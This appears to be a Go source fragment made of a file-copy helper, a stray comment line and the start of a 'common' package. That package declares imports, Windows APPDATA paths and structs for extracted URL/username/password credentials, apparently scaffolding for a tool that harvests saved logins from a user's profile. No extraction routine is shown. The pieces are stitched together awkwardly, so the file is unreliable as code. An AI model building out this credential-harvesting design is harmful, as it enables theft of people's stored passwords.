func CopyFile(src string, dst string) error {
	data, err := ioutil.ReadFile(src)
	if err != nil {
		return err
	}
	err = ioutil.WriteFile(dst, data, 0644)
	if err != nil {
		return err
	}
	return nil
}
Simple function for copying files
package common
import (
	"crypto/aes"
	"crypto/cipher"
	"encoding/base64"
	"encoding/pem"
	"github.com/aglyzov/charmap"
	"golang.org/x/crypto/ssh"
	"io/ioutil"
	"github.com/tidwall/gjson"
	"log"
	"os"
	"os/exec"
	"regexp"
	"syscall"
	"unsafe"
)
var (
	UserHome = os.Getenv("HOMEDRIVE") + os.Getenv("HOMEPATH")
	AppData = os.Getenv("APPDATA")
	LocalAppData = os.Getenv("LOCALAPPDATA")
)
type UrlNamePass struct {
	Url      string
	Username string
	Pass     string
}
type NamePass struct {
	Name string
	Pass string
}
type ExtractCredentialsResult struct {
	Success bool
	Data    []UrlNamePass
}
type ExtractCredentialsNamePass struct {
	Success bool
	Data    []NamePass
}